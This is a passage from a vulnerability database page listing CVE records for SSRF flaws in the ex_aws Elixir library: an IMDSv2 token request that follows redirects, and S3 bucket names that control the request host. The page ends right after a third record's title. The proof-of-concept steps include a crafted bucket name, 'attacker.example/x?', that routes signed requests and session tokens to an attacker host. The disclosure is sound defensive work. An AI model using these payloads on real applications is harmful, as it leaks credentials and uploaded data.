"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eServer-Side Request Forgery (SSRF) vulnerability in ex_aws (instance metadata token provider).\u003c/p\u003e\n\u003cp\u003eThis vulnerability is associated with program files \u003ccode\u003elib/ex_aws/instance_meta_token_provider.ex\u003c/code\u003e and program routines \u003ccode\u003eExAws.InstanceMetaTokenProvider.request_token/1\u003c/code\u003e and \u003ccode\u003eExAws.InstanceMetaTokenProvider.get/1\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eex_aws requests its IMDSv2 session token from the link-local metadata endpoint (\u003ccode\u003ehttp://169.254.169.254/latest/api/token\u003c/code\u003e) with HTTP redirect following enabled. Because the token request follows 3xx redirects and does not restrict the redirect target to the link-local range, an attacker who can influence the response to the metadata request (for example an on-segment neighbor spoofing the link-local address) can answer with a redirect to an arbitrary host. The library follows the redirect and accepts the arbitrary host\u0027s response body as the IMDSv2 session token, caching it and sending it as the \u003ccode\u003ex-aws-ec2-metadata-token\u003c/code\u003e header on every subsequent metadata and credential request.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws: from 2.3.0 before 2.8.0.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Server-Side Request Forgery (SSRF) vulnerability in ex_aws (instance metadata token provider).\n\nThis vulnerability is associated with program files `lib/ex_aws/instance_meta_token_provider.ex` and program routines `ExAws.InstanceMetaTokenProvider.request_token/1` and `ExAws.InstanceMetaTokenProvider.get/1`.\n\nex_aws requests its IMDSv2 session token from the link-local metadata endpoint (`http://169.254.169.254/latest/api/token`) with HTTP redirect following enabled. Because the token request follows 3xx redirects and does not restrict the redirect target to the link-local range, an attacker who can influence the response to the metadata request (for example an on-segment neighbor spoofing the link-local address) can answer with a redirect to an arbitrary host. The library follows the redirect and accepts the arbitrary host\u0027s response body as the IMDSv2 session token, caching it and sending it as the `x-aws-ec2-metadata-token` header on every subsequent metadata and credential request.\n\nThis issue affects ex_aws: from 2.3.0 before 2.8.0."
}
],
"value": "Server-Side Request Forgery (SSRF) vulnerability in ex_aws (instance metadata token provider).\n\nThis vulnerability is associated with program files lib/ex_aws/instance_meta_token_provider.ex and program routines ExAws.InstanceMetaTokenProvider.request_token/1 and ExAws.InstanceMetaTokenProvider.get/1.\n\nex_aws requests its IMDSv2 session token from the link-local metadata endpoint (http://169.254.169.254/latest/api/token) with HTTP redirect following enabled. Because the token request follows 3xx redirects and does not restrict the redirect target to the link-local range, an attacker who can influence the response to the metadata request (for example an on-segment neighbor spoofing the link-local address) can answer with a redirect to an arbitrary host. The library follows the redirect and accepts the arbitrary host\u0027s response body as the IMDSv2 session token, caching it and sending it as the x-aws-ec2-metadata-token header on every subsequent metadata and credential request.\n\nThis issue affects ex_aws: from 2.3.0 before 2.8.0."
}
],
"impacts": [
{
"capecId": "CAPEC-664",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-664 Server Side Request Forgery"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "HIGH",
"attackRequirements": "PRESENT",
"attackVector": "ADJACENT",
"baseScore": 7.6,
"baseSeverity": "HIGH",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:A/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-918",
"description": "CWE-918 Server-Side Request Forgery",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-24T11:43:17.078Z",
"orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"shortName": "EEF"
},
"references": [
{
"tags": [
"vendor-advisory",
"related"
],
"url": "https://github.com/ex-aws/ex_aws/security/advisories/GHSA-mww9-g5mj-j664"
},
{
"name": "EEF CNA record for CVE-2026-59697",
"tags": [
"related"
],
"url": "https://cna.erlef.org/cves/CVE-2026-59697.html"
},
{
"name": "OSV record EEF-CVE-2026-59697",
"tags": [
"related"
],
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-59697"
},
{
"name": "Introducing commit 4d7923c in ex-aws/ex_aws",
"tags": [
"related"
],
"url": "https://github.com/ex-aws/ex_aws/commit/4d7923c16f613cc2bade2ed325d444bba0bc7234"
},
{
"name": "Fix commit 9fcc360 in ex-aws/ex_aws",
"tags": [
"patch"
],
"url": "https://github.com/ex-aws/ex_aws/commit/9fcc3605c7a0ecf8e205a72c50de3ced72befed0"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "IMDSv2 metadata token request follows HTTP redirects in ex_aws",
"x_proofOfConcept": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003col\u003e\n\u003cli\u003eThe attacker is positioned to answer requests the instance sends to \u003ccode\u003e169.254.169.254\u003c/code\u003e, for example as an on-segment neighbor spoofing the link-local address.\u003c/li\u003e\n\u003cli\u003eThe application obtains a metadata token through \u003ccode\u003eExAws.InstanceMetaTokenProvider.get/1\u003c/code\u003e, which calls \u003ccode\u003erequest_token/1\u003c/code\u003e and sends \u003ccode\u003ePUT /latest/api/token\u003c/code\u003e to the link-local endpoint.\u003c/li\u003e\n\u003cli\u003eThe attacker answers the \u003ccode\u003ePUT\u003c/code\u003e with \u003ccode\u003e302\u003c/code\u003e and a \u003ccode\u003eLocation\u003c/code\u003e header pointing at a host they control.\u003c/li\u003e\n\u003cli\u003eThe HTTP client follows the redirect because ex_aws passed \u003ccode\u003efollow_redirect: true\u003c/code\u003e, and the attacker\u0027s host replies \u003ccode\u003e200\u003c/code\u003e with a chosen body such as \u003ccode\u003eATTACKER-CONTROLLED-SESSION-TOKEN\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eget/1\u003c/code\u003e returns that body as the IMDSv2 session token, and ex_aws caches it and sends it as \u003ccode\u003ex-aws-ec2-metadata-token\u003c/code\u003e on later metadata and credential requests.\u003c/li\u003e\n\u003c/ol\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "1. The attacker is positioned to answer requests the instance sends to `169.254.169.254`, for example as an on-segment neighbor spoofing the link-local address.\n2. The application obtains a metadata token through `ExAws.InstanceMetaTokenProvider.get/1`, which calls `request_token/1` and sends `PUT /latest/api/token` to the link-local endpoint.\n3. The attacker answers the `PUT` with `302` and a `Location` header pointing at a host they control.\n4. The HTTP client follows the redirect because ex_aws passed `follow_redirect: true`, and the attacker\u0027s host replies `200` with a chosen body such as `ATTACKER-CONTROLLED-SESSION-TOKEN`.\n5. `get/1` returns that body as the IMDSv2 session token, and ex_aws caches it and sends it as `x-aws-ec2-metadata-token` on later metadata and credential requests."
}
],
"value": "* The attacker is positioned to answer requests the instance sends to 169.254.169.254, for example as an on-segment neighbor spoofing the link-local address.\n* The application obtains a metadata token through ExAws.InstanceMetaTokenProvider.get/1, which calls request_token/1 and sends PUT /latest/api/token to the link-local endpoint.\n* The attacker answers the PUT with 302 and a Location header pointing at a host they control.\n* The HTTP client follows the redirect because ex_aws passed follow_redirect: true, and the attacker\u0027s host replies 200 with a chosen body such as ATTACKER-CONTROLLED-SESSION-TOKEN.\n* get/1 returns that body as the IMDSv2 session token, and ex_aws caches it and sends it as x-aws-ec2-metadata-token on later metadata and credential requests."
}
],
"x_technicalAnalysis": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003e\u003cstrong\u003e1. Token request.\u003c/strong\u003e \u003ccode\u003eExAws.InstanceMetaTokenProvider.request_token/1\u003c/code\u003e sends the IMDSv2 \u003ccode\u003ePUT\u003c/code\u003e to the hard-coded link-local endpoint \u003ccode\u003ehttp://169.254.169.254/latest/api/token\u003c/code\u003e with \u003ccode\u003efollow_redirect: true\u003c/code\u003e in its HTTP options. AWS advises against following redirects on metadata requests, and IMDSv2\u0027s \"PUT plus required header\" design is itself an SSRF mitigation.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Redirect following.\u003c/strong\u003e Any \u003ccode\u003e3xx\u003c/code\u003e reply to the token request is followed by the HTTP client to whatever host its \u003ccode\u003eLocation\u003c/code\u003e header names. Nothing restricts the redirect target to the link-local range, so the request can leave \u003ccode\u003e169.254.169.254\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Token acceptance.\u003c/strong\u003e The body returned by the final URL is accepted verbatim as the session token, cached in ETS, and sent as the \u003ccode\u003ex-aws-ec2-metadata-token\u003c/code\u003e header on every later metadata and credential request the library makes. Whoever answers the redirect therefore chooses both where the token request ends up and which value is used as the token.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "**1. Token request.** `ExAws.InstanceMetaTokenProvider.request_token/1` sends the IMDSv2 `PUT` to the hard-coded link-local endpoint `http://169.254.169.254/latest/api/token` with `follow_redirect: true` in its HTTP options. AWS advises against following redirects on metadata requests, and IMDSv2\u0027s \"PUT plus required header\" design is itself an SSRF mitigation.\n\n**2. Redirect following.** Any `3xx` reply to the token request is followed by the HTTP client to whatever host its `Location` header names. Nothing restricts the redirect target to the link-local range, so the request can leave `169.254.169.254`.\n\n**3. Token acceptance.** The body returned by the final URL is accepted verbatim as the session token, cached in ETS, and sent as the `x-aws-ec2-metadata-token` header on every later metadata and credential request the library makes. Whoever answers the redirect therefore chooses both where the token request ends up and which value is used as the token."
}
],
"value": "1. Token request. ExAws.InstanceMetaTokenProvider.request_token/1 sends the IMDSv2 PUT to the hard-coded link-local endpoint http://169.254.169.254/latest/api/token with follow_redirect: true in its HTTP options. AWS advises against following redirects on metadata requests, and IMDSv2\u0027s \"PUT plus required header\" design is itself an SSRF mitigation.\n\n2. Redirect following. Any 3xx reply to the token request is followed by the HTTP client to whatever host its Location header names. Nothing restricts the redirect target to the link-local range, so the request can leave 169.254.169.254.\n\n3. Token acceptance. The body returned by the final URL is accepted verbatim as the session token, cached in ETS, and sent as the x-aws-ec2-metadata-token header on every later metadata and credential request the library makes. Whoever answers the redirect therefore chooses both where the token request ends up and which value is used as the token."
}
]
}
},
"cveMetadata": {
"assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"assignerShortName": "EEF",
"cveId": "CVE-2026-59697",
"datePublished": "2026-11-24T11:43:17.078Z",
"dateReserved": "2026-07-06T14:05:47.003Z",
"dateUpdated": "2026-11-24T11:43:17.078Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-120720 (GCVE-0-2026-120720)
Vulnerability from cvelistv5 – Published: 2026-11-24 12:17 – Updated: 2026-11-24 12:17
VLAI
EPSS
VEX
Title
S3 bucket name controls the request host in ex_aws virtual-host requests
Summary
Server-Side Request Forgery (SSRF) vulnerability in ex-aws ex_aws allows an attacker who controls an S3 bucket name to send the application's signed S3 requests to a host of their choice.
With virtual_host: true, ExAws.Operation.S3.add_bucket_to_path/2 in lib/ex_aws/operation/s3.ex builds the request hostname from the bucket name and the configured host without checking the bucket name. A bucket such as attacker.example/x? turns the request URL into https://attacker.example/x?.s3.amazonaws.com/key, so the request is signed for and sent to attacker.example. The attacker receives upload bodies, the access key id and request signature, and any STS session token, and controls the response the application parses. With bucket_as_host: true the bucket is the whole hostname, so any valid hostname redirects the request.
This issue affects ex_aws: from 2.1.7 before 2.8.0.
Severity
CWE
- CWE-918 - Server-Side Request Forgery
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/ex-aws/ex_aws/security/advisor… | vendor-advisoryrelated |
| https://cna.erlef.org/cves/CVE-2026-120720.html | related |
| https://osv.dev/vulnerability/EEF-CVE-2026-120720 | related |
| https://github.com/ex-aws/ex_aws/commit/557d3438a… | related |
| https://github.com/ex-aws/ex_aws/commit/a878943be… | patch |
Impacted products
Date Public
2026-11-24 12:17
{
"containers": {
"cna": {
"affected": [
{
"collectionURL": "https://repo.hex.pm",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.Operation.S3\u0027"
],
"packageName": "ex_aws",
"packageURL": "pkg:hex/ex_aws",
"product": "ex_aws",
"programFiles": [
"lib/ex_aws/operation/s3.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.Operation.S3\u0027:add_bucket_to_path/2"
}
],
"repo": "https://github.com/ex-aws/ex_aws",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "2.8.0",
"status": "affected",
"version": "2.1.7",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://github.com",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.Operation.S3\u0027"
],
"packageName": "ex-aws/ex_aws",
"packageURL": "pkg:github/ex-aws/ex_aws",
"product": "ex_aws",
"programFiles": [
"lib/ex_aws/operation/s3.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.Operation.S3\u0027:add_bucket_to_path/2"
}
],
"repo": "https://github.com/ex-aws/ex_aws",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "a878943be6def16ffbee6bb9e11d90db1dc904f8",
"status": "affected",
"version": "557d3438a7e739a25c1ccc1876a5b636793f20ba",
"versionType": "git"
}
]
}
],
"configurations": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eReachable only when the S3 client is configured with \u003ccode\u003evirtual_host: true\u003c/code\u003e and the application passes a bucket name an attacker can influence, for example per-tenant or user-supplied buckets. Path-style requests, the default, place the bucket in the path and are not affected.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Reachable only when the S3 client is configured with `virtual_host: true` and the application passes a bucket name an attacker can influence, for example per-tenant or user-supplied buckets. Path-style requests, the default, place the bucket in the path and are not affected."
}
],
"value": "Reachable only when the S3 client is configured with virtual_host: true and the application passes a bucket name an attacker can influence, for example per-tenant or user-supplied buckets. Path-style requests, the default, place the bucket in the path and are not affected."
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*",
"versionEndExcluding": "2.8.0",
"versionStartIncluding": "2.1.7",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "reporter",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "analyst",
"value": "Jonatan M\u00e4nnchen / EEF"
},
{
"lang": "en",
"type": "coordinator",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Bernard Duggan"
}
],
"dateAssigned": "2026-11-24T12:04:08.000Z",
"datePublic": "2026-11-24T12:17:33.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eServer-Side Request Forgery (SSRF) vulnerability in ex-aws ex_aws allows an attacker who controls an S3 bucket name to send the application\u0027s signed S3 requests to a host of their choice.\u003c/p\u003e\n\u003cp\u003eWith \u003ccode\u003evirtual_host: true\u003c/code\u003e, \u003ccode\u003eExAws.Operation.S3.add_bucket_to_path/2\u003c/code\u003e in \u003ccode\u003elib/ex_aws/operation/s3.ex\u003c/code\u003e builds the request hostname from the bucket name and the configured host without checking the bucket name. A bucket such as \u003ccode\u003eattacker.example/x?\u003c/code\u003e turns the request URL into \u003ccode\u003ehttps://attacker.example/x?.s3.amazonaws.com/key\u003c/code\u003e, so the request is signed for and sent to \u003ccode\u003eattacker.example\u003c/code\u003e. The attacker receives upload bodies, the access key id and request signature, and any STS session token, and controls the response the application parses. With \u003ccode\u003ebucket_as_host: true\u003c/code\u003e the bucket is the whole hostname, so any valid hostname redirects the request.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws: from 2.1.7 before 2.8.0.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Server-Side Request Forgery (SSRF) vulnerability in ex-aws ex_aws allows an attacker who controls an S3 bucket name to send the application\u0027s signed S3 requests to a host of their choice.\n\nWith `virtual_host: true`, `ExAws.Operation.S3.add_bucket_to_path/2` in `lib/ex_aws/operation/s3.ex` builds the request hostname from the bucket name and the configured host without checking the bucket name. A bucket such as `attacker.example/x?` turns the request URL into `https://attacker.example/x?.s3.amazonaws.com/key`, so the request is signed for and sent to `attacker.example`. The attacker receives upload bodies, the access key id and request signature, and any STS session token, and controls the response the application parses. With `bucket_as_host: true` the bucket is the whole hostname, so any valid hostname redirects the request.\n\nThis issue affects ex_aws: from 2.1.7 before 2.8.0."
}
],
"value": "Server-Side Request Forgery (SSRF) vulnerability in ex-aws ex_aws allows an attacker who controls an S3 bucket name to send the application\u0027s signed S3 requests to a host of their choice.\n\nWith virtual_host: true, ExAws.Operation.S3.add_bucket_to_path/2 in lib/ex_aws/operation/s3.ex builds the request hostname from the bucket name and the configured host without checking the bucket name. A bucket such as attacker.example/x? turns the request URL into https://attacker.example/x?.s3.amazonaws.com/key, so the request is signed for and sent to attacker.example. The attacker receives upload bodies, the access key id and request signature, and any STS session token, and controls the response the application parses. With bucket_as_host: true the bucket is the whole hostname, so any valid hostname redirects the request.\n\nThis issue affects ex_aws: from 2.1.7 before 2.8.0."
}
],
"impacts": [
{
"capecId": "CAPEC-664",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eAn attacker who can choose the bucket name receives the application\u0027s signed S3 requests, including uploaded object bodies, the access key id and any STS session token, and can return forged data to the application. Applications that accept per-tenant or user-supplied bucket names with virtual-host addressing are affected.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "An attacker who can choose the bucket name receives the application\u0027s signed S3 requests, including uploaded object bodies, the access key id and any STS session token, and can return forged data to the application. Applications that accept per-tenant or user-supplied bucket names with virtual-host addressing are affected."
}
],
"value": "An attacker who can choose the bucket name receives the application\u0027s signed S3 requests, including uploaded object bodies, the access key id and any STS session token, and can return forged data to the application. Applications that accept per-tenant or user-supplied bucket names with virtual-host addressing are affected."
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "LOCAL",
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "LOW",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-918",
"description": "CWE-918 Server-Side Request Forgery",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-24T12:17:35.415Z",
"orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"shortName": "EEF"
},
"references": [
{
"name": "Virtual-host bucket name controls the request host in ExAws.Operation.S3.add_bucket_to_path/2",
"tags": [
"vendor-advisory",
"related"
],
"url": "https://github.com/ex-aws/ex_aws/security/advisories/GHSA-rcv9-2jx2-63xh"
},
{
"name": "EEF CNA record for CVE-2026-120720",
"tags": [
"related"
],
"url": "https://cna.erlef.org/cves/CVE-2026-120720.html"
},
{
"name": "OSV record EEF-CVE-2026-120720",
"tags": [
"related"
],
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-120720"
},
{
"name": "Introducing commit 557d343 in ex-aws/ex_aws",
"tags": [
"related"
],
"url": "https://github.com/ex-aws/ex_aws/commit/557d3438a7e739a25c1ccc1876a5b636793f20ba"
},
{
"name": "Fix commit a878943 in ex-aws/ex_aws",
"tags": [
"patch"
],
"url": "https://github.com/ex-aws/ex_aws/commit/a878943be6def16ffbee6bb9e11d90db1dc904f8"
}
],
"solutions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eUpgrading rejects bucket names containing characters that can change the request host. With \u003ccode\u003ebucket_as_host: true\u003c/code\u003e, a syntactically valid hostname is still used as the request host after upgrading: applications that pass bucket names they do not fully control with \u003ccode\u003ebucket_as_host: true\u003c/code\u003e must also set the \u003ccode\u003ebucket_as_host_allowlist\u003c/code\u003e S3 config option to the list of trusted hostnames.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Upgrading rejects bucket names containing characters that can change the request host. With `bucket_as_host: true`, a syntactically valid hostname is still used as the request host after upgrading: applications that pass bucket names they do not fully control with `bucket_as_host: true` must also set the `bucket_as_host_allowlist` S3 config option to the list of trusted hostnames."
}
],
"value": "Upgrading rejects bucket names containing characters that can change the request host. With bucket_as_host: true, a syntactically valid hostname is still used as the request host after upgrading: applications that pass bucket names they do not fully control with bucket_as_host: true must also set the bucket_as_host_allowlist S3 config option to the list of trusted hostnames."
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "S3 bucket name controls the request host in ex_aws virtual-host requests",
"x_proofOfConcept": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003col\u003e\n\u003cli\u003eConfigure ex_aws for S3 with \u003ccode\u003evirtual_host: true\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eBuild an upload with an attacker-chosen bucket name: \u003ccode\u003eExAws.S3.put_object(\"attacker.example/x?\", \"report.pdf\", body)\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eadd_bucket_to_path/2\u003c/code\u003e sets the host to \u003ccode\u003eattacker.example/x?.s3.amazonaws.com\u003c/code\u003e, and \u003ccode\u003eExAws.Request.Url.build/2\u003c/code\u003e renders \u003ccode\u003ehttps://attacker.example/x?.s3.amazonaws.com/report.pdf\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eExAws.Auth\u003c/code\u003e signs the \u003ccode\u003ehost\u003c/code\u003e header as \u003ccode\u003eattacker.example\u003c/code\u003e, and hackney connects to \u003ccode\u003eattacker.example:443\u003c/code\u003e with path \u003ccode\u003e/x\u003c/code\u003e and query \u003ccode\u003e.s3.amazonaws.com/report.pdf\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eRunning the operation with \u003ccode\u003eExAws.request/2\u003c/code\u003e delivers the signed request, including the upload body and \u003ccode\u003eAuthorization\u003c/code\u003e header, to \u003ccode\u003eattacker.example\u003c/code\u003e.\u003c/li\u003e\n\u003c/ol\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "1. Configure ex_aws for S3 with `virtual_host: true`.\n2. Build an upload with an attacker-chosen bucket name: `ExAws.S3.put_object(\"attacker.example/x?\", \"report.pdf\", body)`.\n3. `add_bucket_to_path/2` sets the host to `attacker.example/x?.s3.amazonaws.com`, and `ExAws.Request.Url.build/2` renders `https://attacker.example/x?.s3.amazonaws.com/report.pdf`.\n4. `ExAws.Auth` signs the `host` header as `attacker.example`, and hackney connects to `attacker.example:443` with path `/x` and query `.s3.amazonaws.com/report.pdf`.\n5. Running the operation with `ExAws.request/2` delivers the signed request, including the upload body and `Authorization` header, to `attacker.example`."
}
],
"value": "* Configure ex_aws for S3 with virtual_host: true.\n* Build an upload with an attacker-chosen bucket name: ExAws.S3.put_object(\"attacker.example/x?\", \"report.pdf\", body).\n* add_bucket_to_path/2 sets the host to attacker.example/x?.s3.amazonaws.com, and ExAws.Request.Url.build/2 renders https://attacker.example/x?.s3.amazonaws.com/report.pdf.\n* ExAws.Auth signs the host header as attacker.example, and hackney connects to attacker.example:443 with path /x and query .s3.amazonaws.com/report.pdf.\n* Running the operation with ExAws.request/2 delivers the signed request, including the upload body and Authorization header, to attacker.example."
}
],
"x_technicalAnalysis": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003e\u003cstrong\u003e1. Host construction.\u003c/strong\u003e In the \u003ccode\u003evirtual_host: true\u003c/code\u003e clause of \u003ccode\u003eExAws.Operation.S3.add_bucket_to_path/2\u003c/code\u003e, the request host becomes \u003ccode\u003e\"#{bucket}.#{host}\"\u003c/code\u003e. In the \u003ccode\u003evirtual_host: true, bucket_as_host: true\u003c/code\u003e clause it becomes the bucket name itself. Neither clause checks the bucket name.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. URL rendering and re-parsing.\u003c/strong\u003e \u003ccode\u003eExAws.Request.Url.build/2\u003c/code\u003e places the host verbatim into a \u003ccode\u003e%URI{}\u003c/code\u003e and renders it with \u003ccode\u003eURI.to_string/1\u003c/code\u003e, which does not validate the host. Downstream code re-parses the string: \u003ccode\u003eExAws.Auth.headers/6\u003c/code\u003e signs \u003ccode\u003eURI.parse(url).authority\u003c/code\u003e, \u003ccode\u003eExAws.Request.Url.sanitize/2\u003c/code\u003e splits on the first \u003ccode\u003e?\u003c/code\u003e, and hackney\u0027s \u003ccode\u003eparse_url/1\u003c/code\u003e (or \u003ccode\u003eURI.parse/1\u003c/code\u003e for the Req adapter) resolves the host. For the bucket \u003ccode\u003eattacker.example/x?\u003c/code\u003e all of them see the host \u003ccode\u003eattacker.example\u003c/code\u003e, the path \u003ccode\u003e/x\u003c/code\u003e and the query \u003ccode\u003e.s3.amazonaws.com/key\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Signed request to the attacker.\u003c/strong\u003e The HTTP adapter connects to \u003ccode\u003eattacker.example\u003c/code\u003e and sends the fully signed request: the object body on uploads, the \u003ccode\u003eAuthorization\u003c/code\u003e header with the access key id and SigV4 signature, and \u003ccode\u003ex-amz-security-token\u003c/code\u003e when temporary credentials are in use. The attacker also chooses the response the application parses. The secret access key is not sent, and the signature is bound to the attacker\u0027s host, so it cannot be replayed against AWS.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "**1. Host construction.** In the `virtual_host: true` clause of `ExAws.Operation.S3.add_bucket_to_path/2`, the request host becomes `\"#{bucket}.#{host}\"`. In the `virtual_host: true, bucket_as_host: true` clause it becomes the bucket name itself. Neither clause checks the bucket name.\n\n**2. URL rendering and re-parsing.** `ExAws.Request.Url.build/2` places the host verbatim into a `%URI{}` and renders it with `URI.to_string/1`, which does not validate the host. Downstream code re-parses the string: `ExAws.Auth.headers/6` signs `URI.parse(url).authority`, `ExAws.Request.Url.sanitize/2` splits on the first `?`, and hackney\u0027s `parse_url/1` (or `URI.parse/1` for the Req adapter) resolves the host. For the bucket `attacker.example/x?` all of them see the host `attacker.example`, the path `/x` and the query `.s3.amazonaws.com/key`.\n\n**3. Signed request to the attacker.** The HTTP adapter connects to `attacker.example` and sends the fully signed request: the object body on uploads, the `Authorization` header with the access key id and SigV4 signature, and `x-amz-security-token` when temporary credentials are in use. The attacker also chooses the response the application parses. The secret access key is not sent, and the signature is bound to the attacker\u0027s host, so it cannot be replayed against AWS."
}
],
"value": "1. Host construction. In the virtual_host: true clause of ExAws.Operation.S3.add_bucket_to_path/2, the request host becomes \"#{bucket}.#{host}\". In the virtual_host: true, bucket_as_host: true clause it becomes the bucket name itself. Neither clause checks the bucket name.\n\n2. URL rendering and re-parsing. ExAws.Request.Url.build/2 places the host verbatim into a %URI{} and renders it with URI.to_string/1, which does not validate the host. Downstream code re-parses the string: ExAws.Auth.headers/6 signs URI.parse(url).authority, ExAws.Request.Url.sanitize/2 splits on the first ?, and hackney\u0027s parse_url/1 (or URI.parse/1 for the Req adapter) resolves the host. For the bucket attacker.example/x? all of them see the host attacker.example, the path /x and the query .s3.amazonaws.com/key.\n\n3. Signed request to the attacker. The HTTP adapter connects to attacker.example and sends the fully signed request: the object body on uploads, the Authorization header with the access key id and SigV4 signature, and x-amz-security-token when temporary credentials are in use. The attacker also chooses the response the application parses. The secret access key is not sent, and the signature is bound to the attacker\u0027s host, so it cannot be replayed against AWS."
}
]
}
},
"cveMetadata": {
"assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"assignerShortName": "EEF",
"cveId": "CVE-2026-120720",
"datePublished": "2026-11-24T12:17:35.415Z",
"dateReserved": "2026-11-24T09:53:42.363Z",
"dateUpdated": "2026-11-24T12:17:35.415Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-59698 (GCVE-0-2026-59698)
Vulnerability from cvelistv5 – Published: 2026-11-24 11:45 – Updated: 2026-11-24 11:45
VLAI
EPSS
VEX
Title
ex_aws normalizes .. in S3 object keys client-side, allowing bucket or key-prefix escape
Summary
